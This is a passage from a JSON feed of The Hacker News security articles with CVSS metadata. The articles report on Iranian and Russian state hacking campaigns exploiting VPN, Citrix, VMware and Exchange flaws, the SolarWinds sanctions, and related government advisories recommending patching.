([CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>)), Palo Alto Networks' Global Protect ([CVE-2019-1579](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1579>)), Fortinet FortiOS ([CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>)), and Citrix ([CVE-2019-19781](<https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html>)). \n \nClearSky noted that the hacking groups were able to successfully acquire access to the targets' core systems, drop additional malware, and laterally spread across the network by exploiting \"1-day vulnerabilities in relatively short periods of time.\" \n \n\n\n[](<https://thehackernews.com/images/-HB88FpLNx7E/Xkv6_Gs13XI/AAAAAAAAABE/sTXpiQuKh4w_qMLsMyuIs2xY7eNJONDHQCLcBGAsYHQ/s728-e100/Iranian-hackers-1.jpg>)\n\n \nUpon successfully gaining an initial foothold, the compromised systems were found to communicate with attacker-control command-and-control (C2) servers to download a series of custom VBScript files that can, in turn, be used to plant backdoors. \n \nFurthermore, the backdoor code in itself is downloaded in chunks so as to avoid detection by antivirus software installed on the infected computers. It's the job of a separate downloaded file \u2014 named \"combine.bat\" \u2014 to stitch together these individual files and create an executable. \n \nTo perform these tasks and achieve persistence, the threat actors exploited tools such as [Juicy Potato](<https://github.com/ohpe/juicy-potato>) and [Invoke the Hash](<https://github.com/Kevin-Robertson/Invoke-TheHash>) to gain high-level privileges and laterally move across the network. Some of the other tools developed by the attackers include: \n \n\n\n * STSRCheck - A tool for mapping databases, servers, and open ports in the targeted network and brute-force them by logging with default credentials.\n * Port.exe - A tool to scan predefined ports and servers.\n \nOnce the attackers gained lateral movement capabilities, the attackers move to the final stage: execute the backdoor to scan the compromised system for relevant information and exfiltrate the files back to the attacker by establishing a remote desktop connection (using a self-developed tool called POWSSHNET) or opening a socket-based connection to a hardcoded IP address. \n \n\n\n[](<https://thehackernews.com/images/-I5Tu4KNsPis/Xkv6nXcj6DI/AAAAAAAAAA8/E1cMYGuEIdsjFmfX7dXhnzRwfrgC0_dRACLcBGAsYHQ/s728-e100/Iranian-hackers.jpg>)\n\n \nIn addition, the attackers used [web shells](<https://www.us-cert.gov/ncas/alerts/TA15-314A>) in order to communicate with the servers located inside the target and upload files directly to a C2 server. \n \n\n\n## The Work of Multiple Iranian Hacking Groups\n\n \nBased on the campaign's use of web shells and overlaps with the attack infrastructure, the ClearSky report highlighted that the attacks against VPN servers are possibly linked to three Iranian groups \u2014 APT33 (\"Elfin\"), APT34 (\"OilRig\") and APT39 (Chafer). \n \nWhat's more, the researchers assessed that the campaign is a result of a \"cooperation between the groups in infrastructure,\" citing similarities in the tools and work methods across the three groups. \n \nJust last month, Iranian state-backed hackers \u2014 dubbed \"[Magnallium](<https://www.wired.com/story/iran-apt33-us-electric-grid>)\" \u2014 were discovered carrying out password-spraying attacks targeting US electric utilities as well as oil and gas firms. \n \nGiven that the attackers are weaponizing VPN flaws within 24 hours, it's imperative that organizations install security patches as and when they are available. \n \nAside from following the principle of least privilege, it also goes without saying that critical systems are monitored continuously and kept up to date. Implementing two-step authentication can go a long way towards minimizing unauthorized logins.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-02-18T15:06:00", "type": "thn", "title": "Iranian Hackers Exploiting VPN Flaws to Backdoor Organizations Worldwide", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-1579", "CVE-2019-19781"], "modified": "2020-02-18T15:13:08", "id": "THN:9994A9D5CFB76851BB74C8AD52F3DBBE", "href": "https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:18", "description": "[](<https://thehackernews.com/images/-aP3rCXOUpiQ/YIfVcfAWodI/AAAAAAAACX8/f_RfGI2QOewvk7Zu4AaGOKQyirlBpfKfACLcBGAsYHQ/s0/russian-hackers.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA), Department of Homeland Security (DHS), and the Federal Bureau of Investigation (FBI) on Monday published a new joint advisory as part of their latest attempts to expose the tactics, techniques, and procedures (TTPs) adopted by the Russian Foreign Intelligence Service (SVR) in its attacks targeting the U.S and foreign entities.\n\nBy employing \"stealthy intrusion tradecraft within compromised networks,\" the intelligence agencies [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/04/26/fbi-dhs-cisa-joint-advisory-russian-foreign-intelligence-service>), \"the SVR activity\u2014which includes the recent [SolarWinds Orion supply chain compromise](<https://thehackernews.com/2021/04/researchers-find-additional.html>)\u2014primarily targets government networks, think tank and policy analysis organizations, and information technology companies and seeks to gather intelligence information.\"\n\nThe cyber actor is also being tracked under different monikers, including Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium. The development comes as the U.S. sanctioned Russia and [formally pinned](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>) the SolarWinds hack and related cyberespionage campaign to government operatives working for SVR.\n\n[APT29](<https://malpedia.caad.fkie.fraunhofer.de/actor/apt_29>), since emerging on the threat landscape in 2013, has been tied to a number of attacks orchestrated with an aim to gain access to victim networks, move within victim environments undetected, and extract sensitive information. But in a noticeable shift in tactics in 2018, the actor moved from deploying malware on target networks to striking cloud-based email services, a fact borne by the SolarWinds attack, wherein the actor leveraged Orion binaries as an intrusion vector to exploit Microsoft Office 365 environments.\n\nThis similarity in post-infection tradecraft with other SVR-sponsored attacks, including in the manner the adversary laterally moved through the networks to obtain access to email accounts, is said to have played a huge role in attributing the SolarWinds campaign to the Russian intelligence service, despite a notable departure in the method used to gain an initial foothold.\n\n\"Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations,\" the agency noted.\n\nAmong some of the other tactics put to use by APT29 are password spraying (observed during a 2018 compromise of a large unnamed network), exploiting zero-day flaws against virtual private network appliances (such as [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) to obtain network access, and deploying a Golang malware called [WELLMESS](<https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html>) to plunder [intellectual property](<https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html>) from multiple organizations involved in COVID-19 vaccine development.\n\nBesides CVE-2019-19781, the threat actor is known to gain initial footholds into victim devices and networks by leveraging [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>), [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), and [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>). Also in the mix is the practice of obtaining virtual private servers via false identities and cryptocurrencies, and relying on temporary VoIP telephone numbers and email accounts by making use of an anonymous email service called cock.li.\n\n\"The FBI and DHS recommend service providers strengthen their user validation and verification systems to prohibit misuse of their services,\" the advisory read, while also urging businesses to secure their networks from a compromise of trusted software.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-27T09:14:00", "type": "thn", "title": "FBI, CISA Uncover Tactics Employed by Russian Intelligence Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-04-28T06:42:30", "id": "THN:91A2A296EF8B6FD5CD8B904690E810E8", "href": "https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:20", "description": "[](<https://thehackernews.com/images/-LTN8ZEVASAQ/YHhnaI6y7gI/AAAAAAAACSI/-4R4GM5jnigOmkENHKFJXtyjjp1f6w4QQCLcBGAsYHQ/s0/us-sanctions-russia-solarwinds-hack.jpg>)\n\nThe U.S. and U.K. on Thursday formally attributed the supply chain attack of IT infrastructure management company SolarWinds with \"high confidence\" to government operatives working for Russia's Foreign Intelligence Service (SVR).\n\n\"Russia's pattern of malign behaviour around the world \u2013 whether in cyberspace, in election interference or in the aggressive operations of their intelligence services \u2013 demonstrates that Russia remains the most acute threat to the U.K.'s national and collective security,\" the U.K. government [said](<https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services>) in a statement.\n\nTo that effect, the U.S. Department of the Treasury has imposed sweeping sanctions against Russia for \"undermining the conduct of free and fair elections and democratic institutions\" in the U.S. and for its role in facilitating the sprawling SolarWinds hack, while also barring six technology companies in the country that provide support to the cyber program run by Russian Intelligence Services.\n\n[](<https://thehackernews.com/images/-3aKGKEh2OCw/YHhnxG35qkI/AAAAAAAACSQ/DNi8MHTziNkZeNqP2Y6g9DXrwuwcIBooQCLcBGAsYHQ/s0/russian-hacker.jpg>)\n\nThe companies include ERA Technopolis, Pasit, Federal State Autonomous Scientific Establishment Scientific Research Institute Specialized Security Computing Devices and Automation (SVA), Neobit, Advanced System Technology, and Pozitiv Teknolodzhiz (Positive Technologies), the last three of which are IT security firms whose customers are said to include the Russian Ministry of Defense, SVR, and Russia's Federal Security Service (FSB).\n\n\"As a company, we deny the groundless accusations made by the U.S. Department of the Treasury,\" Positive Technologies [said](<https://www.ptsecurity.com/ww-en/about/news/positive-technologies-official-statement-following-u-s-sanctions/>) in a statement. \"In the almost 20 years we have been operating there has been no evidence of the results of Positive Technologies\u2019 research being used in violation of the principles of business transparency and the ethical exchange of information with the professional information security community.\"\n\nIn addition, the Biden administration is also [expelling ten members](<https://home.treasury.gov/policy-issues/financial-sanctions/recent-actions/20210415>) of Russia's diplomatic mission in Washington, D.C., including representatives of its intelligence services.\n\n\"The scope and scale of this compromise combined with Russia's history of carrying out reckless and disruptive cyber operations makes it a national security concern,\" the Treasury Department [said](<https://home.treasury.gov/news/press-releases/jy0127>). \"The SVR has put at risk the global technology supply chain by allowing malware to be installed on the machines of tens of thousands of SolarWinds' customers.\"\n\nFor its part, Moscow had previously [denied involvement](<https://thehackernews.com/2021/01/fbi-cisa-nsa-officially-blames-russia.html>) in the broad-scope SolarWinds campaign, stating \"it does not conduct offensive operations in the cyber domain.\"\n\nThe [intrusions](<https://thehackernews.com/2021/03/researchers-find-3-new-malware-strains.html>) came to light in December 2020 when FireEye and other cybersecurity firms revealed that the operators behind the espionage campaign managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the Sunburst backdoor with the goal of gathering sensitive information.\n\nUp to 18,000 SolarWinds customers are believed to have received the trojanized Orion update, although the attackers carefully selected their targets, opting to escalate the attacks only in a handful of cases by deploying Teardrop malware based on an initial reconnaissance of the target environment for high-value accounts and assets.\n\n[](<https://thehackernews.com/images/-K6oDMn9wijo/YHhoAIB7XMI/AAAAAAAACSU/SnX4nr33cRUwtWpMv58gmUlwM1J3GLbGwCLcBGAsYHQ/s0/hack.jpg>)\n\nThe adversary's compromise of the SolarWinds software supply chain is said to have given it the ability to remotely spy or potentially disrupt more than 16,000 computer systems worldwide, according to the [executive order](<https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/>) issued by the U.S. government.\n\nBesides infiltrating the networks of [Microsoft](<https://thehackernews.com/2020/12/microsoft-says-its-systems-were-also.html>), [FireEye](<https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html>), [Malwarebytes](<https://thehackernews.com/2021/01/solarwinds-hackers-also-breached.html>), and [Mimecast](<https://thehackernews.com/2021/03/mimecast-finds-solarwinds-hackers-stole.html>), the attackers are also said to have used SolarWinds as a stepping stone to breaching several U.S. agencies such as the National Aeronautics and Space Administration (NASA), the Federal Aviation Administration (FAA), and the Departments of State, Justice, Commerce, Homeland Security, Energy, Treasury, and the National Institutes of Health.\n\nThe SVR actor is also known by other names such as APT29, Cozy Bear, and The Dukes, with the threat group being tracked under different monikers, including UNC2452 (FireEye), SolarStorm (Palo Alto Unit 42), StellarParticle (CrowdStrike), Dark Halo (Volexity), and Nobelium (Microsoft).\n\n[](<https://thehackernews.com/images/-JJfhuyyCe1A/YHhoT2JBRoI/AAAAAAAACSg/KKZjhhWheAYDqRlyZsylSiqZ6TohQDq4ACLcBGAsYHQ/s0/cyberattack.jpg>)\n\nFurthermore, the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have jointly released an [advisory](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/>), warning businesses of active exploitation of five publicly known vulnerabilities by APT29 to gain initial footholds into victim devices and networks \u2014 \n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) \\- Fortinet FortiGate VPN\n * [**CVE-2019-9670**](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) \\- Synacor Zimbra Collaboration Suite\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) \\- Pulse Secure Pulse Connect Secure VPN\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) \\- Citrix Application Delivery Controller and Gateway \n * [**CVE-2020-4006**](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) \\- VMware Workspace ONE Access\n\nIn a statement shared with The Hacker News, Pulse Secure said the issue identified by the NSA concerns a flaw that was patched on [legacy deployments in April 2019](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>), and that \"customers who followed the instructions in a Pulse Secure security advisory issued at that time have properly protected their systems and mitigated the threat.\"\n\n\"We see what Russia is doing to undermine our democracies,\" said U.K. Foreign Secretary Dominic Raab. \"The U.K. and U.S. are calling out Russia's malicious behaviour, to enable our international partners and businesses at home to better defend and prepare themselves against this kind of action.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-15T16:55:00", "type": "thn", "title": "US Sanctions Russia and Expels 10 Diplomats Over SolarWinds Cyberattack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-06-04T10:27:04", "id": "THN:461B7AEC7D12A32B4ED085F0EA213502", "href": "https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:05", "description": "[](<https://thehackernews.com/images/-M_1KgL6tAuQ/YDYE-aJuyBI/AAAAAAAAB38/asAWmk7ZJscXPGS_gHJudw0GOAZrcEX7wCLcBGAsYHQ/s0/vmware.jpg>)\n\nVMware has addressed multiple critical remote code execution (RCE) vulnerabilities in VMware ESXi and vSphere Client virtual infrastructure management platform that may allow attackers to execute arbitrary commands and take control of affected systems.\n\n\"A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,\" the company [said](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) in its advisory.\n\nThe vulnerability, tracked as CVE-2021-21972, has a CVSS score of 9.8 out of a maximum of 10, making it critical in severity.\n\n\"In our opinion, the RCE vulnerability in the vCenter Server can pose no less a threat than the infamous vulnerability in Citrix (CVE-2019-19781),\" said Positive Technologies' Mikhail Klyuchnikov, who discovered and reported the flaw to VMware.\n\n\"The error allows an unauthorized user to send a specially crafted request, which will later give them the opportunity to execute arbitrary commands on the server.\"\n\nWith this access in place, the attacker can then successfully move through the corporate network and gain access to the data stored in the vulnerable system, such as information about virtual machines and system users, [Klyuchnikov noted](<https://swarm.ptsecurity.com/unauth-rce-vmware/>).\n\nSeparately, a second vulnerability (CVE-2021-21973, CVSS score 5.3) allows unauthorized users to send POST requests, permitting an adversary to mount further attacks, including the ability to scan the company's internal network and retrieve specifics about the open ports of various services.\n\nThe information disclosure issue, according to VMware, stems from an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in the vCenter Server plugin.\n\n[](<https://thehackernews.com/images/-ptRHS90VS-M/YDaOLCFCy0I/AAAAAAAA3oU/eE4iu9IU3WI1xoEKlX6eypn5wcFlZWhwQCLcBGAsYHQ/s0/command.jpg>)\n\nVMware has also provided workarounds to remediate CVE-2021-21972 and CVE-2021-21973 temporarily until the updates can be deployed. Detailed steps can be found [here](<https://kb.vmware.com/s/article/82374>).\n\nIt's worth noting that VMware rectified a command injection vulnerability in its vSphere Replication product ([CVE-2021-21976](<https://www.vmware.com/security/advisories/VMSA-2021-0001.html>), CVSS score 7.2) earlier this month that could grant a bad actor with administrative privileges to execute shell commands and achieve RCE.\n\nLastly, VMware also resolved a heap-overflow bug (CVE-2021-21974, CVSS score 8.8) in ESXi's service location protocol (SLP), potentially allowing an attacker on the same network to send malicious SLP requests to an ESXi device and take control of it.\n\n[OpenSLP](<https://www.openslp.org/doc/html/IntroductionToSLP/index.html>) provides a framework to allow networking applications to discover the existence, location, and configuration of networked services in enterprise networks.\n\nThe latest fix for ESXi OpenSLP comes on the heels of a similar patch ([CVE-2020-3992](<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>)) last November that could be leveraged to trigger a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) in the OpenSLP service, leading to remote code execution.\n\nNot long after, reports of active exploitation attempts emerged in the wild, with ransomware gangs [abusing](<https://twitter.com/GossiTheDog/status/1324896051128635392>) the vulnerability to take over unpatched virtual machines deployed in enterprise environments and encrypt their virtual hard drives.\n\nIt's highly recommended that users install the updates to eliminate the risk associated with the flaws, in addition to \"removing vCenter Server interfaces from the perimeter of organizations, if they are there, and allocate them to a separate VLAN with a limited access list in the internal network.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-24T07:54:00", "type": "thn", "title": "Critical RCE Flaws Affect VMware ESXi and vSphere Client \u2014 Patch Now", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781", "CVE-2020-3992", "CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974", "CVE-2021-21976"], "modified": "2021-02-24T17:35:31", "id": "THN:87AE96960D76D6C84D9CF86C2DDB837C", "href": "https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:15", "description": "[](<https://thehackernews.com/images/-W51kRhVBeW0/YJaCznsmgiI/AAAAAAAACfU/z7fgy604zAcZllL9m6sPApy3bUHHX9YEQCLcBGAsYHQ/s0/hacker.jpg>)\n\nCyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous [public disclosures](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) of their attack methods, according to a [new advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/07/joint-ncsc-cisa-fbi-nsa-cybersecurity-advisory-russian-svr>) jointly published by intelligence agencies from the U.K. and U.S. Friday.\n\n\"SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and remediation efforts by network defenders,\" the National Cyber Security Centre (NCSC) [said](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>).\n\nThese include the deployment of an open-source tool called [Sliver](<https://github.com/BishopFox/sliver>) to maintain their access to compromised victims as well as leveraging the ProxyLogon flaws in Microsoft Exchange servers to conduct post-exploitation activities.\n\nThe development follows the [public attribution](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>) of SVR-linked actors to the [SolarWinds](<https://thehackernews.com/2021/04/researchers-find-additional.html>) supply-chain attack last month. The adversary is also tracked under different monikers, such as Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium.\n\nThe attribution was also accompanied by a technical report detailing five vulnerabilities that the SVR's APT29 group was using as initial access points to infiltrate U.S. and foreign entities.\n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) \\- Fortinet FortiGate VPN\n * [**CVE-2019-9670**](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) \\- Synacor Zimbra Collaboration Suite\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) \\- Pulse Secure Pulse Connect Secure VPN\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) \\- Citrix Application Delivery Controller and Gateway\n * [**CVE-2020-4006**](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) \\- VMware Workspace ONE Access\n\n\"The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy and energy targets, as well as more time bound targeting, for example [COVID-19 vaccine](<https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development>) targeting in 2020,\" the NCSC said.\n\nThis was followed by a separate guidance on April 26 that [shed more light](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) on the techniques used by the group to orchestrate intrusions, counting password spraying, exploiting zero-day flaws against virtual private network appliances (e.g., CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.\n\nNow according to the NCSC, seven more vulnerabilities have been added into the mix, while noting that APT29 is likely to \"rapidly\" weaponize recently released public vulnerabilities that could enable initial access to their targets.\n\n * [**CVE-2019-1653**](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) \\- Cisco Small Business RV320 and RV325 Routers\n * [**CVE-2019-2725**](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) \\- Oracle WebLogic Server\n * [**CVE-2019-7609**](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) \\- Kibana\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) \\- F5 Big-IP\n * [**CVE-2020-14882**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) \\- Oracle WebLogic Server\n * [**CVE-2021-21972**](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>) \\- VMware vSphere\n * [**CVE-2021-26855**](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) \\- Microsoft Exchange Server\n\n\"Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage,\" the agency said.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-05-08T12:24:00", "type": "thn", "title": "Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-21972", "CVE-2021-26855"], "modified": "2021-05-11T06:23:38", "id": "THN:1ED1BB1B7B192353E154FB0B02F314F4", "href": "https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:44", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEivOb0--JbZm0DKk17OtegvDf0JMgVq1rnkokni7RLCsqEBf17tLvxhVDjVCC8yZeN6jpVJCkJlb3GTbW4f29ZlHKK9dZKnxCnVgFaE0N7nhOJe9r3HRvLR-reRBzNHAdx6aUoQDU5yI90E1LqRdEM3guLQQv95JsKCUSy1ZAoTckx4Q4_Vb6CxtXGe>)\n\nAmid renewed tensions between the U.S. and Russia over [Ukraine](<https://apnews.com/article/joe-biden-europe-russia-ukraine-geneva-090d1bd24f7ced8ab84907a9ed031878>) and [Kazakhstan](<https://thehill.com/policy/international/588860-tensions-between-us-russia-rise-over-military-involvement-in-kazakhstan>), American cybersecurity and intelligence agencies on Tuesday released a joint advisory on how to detect, respond to, and mitigate cyberattacks orchestrated by Russian state-sponsored actors.\n\nTo that end, the 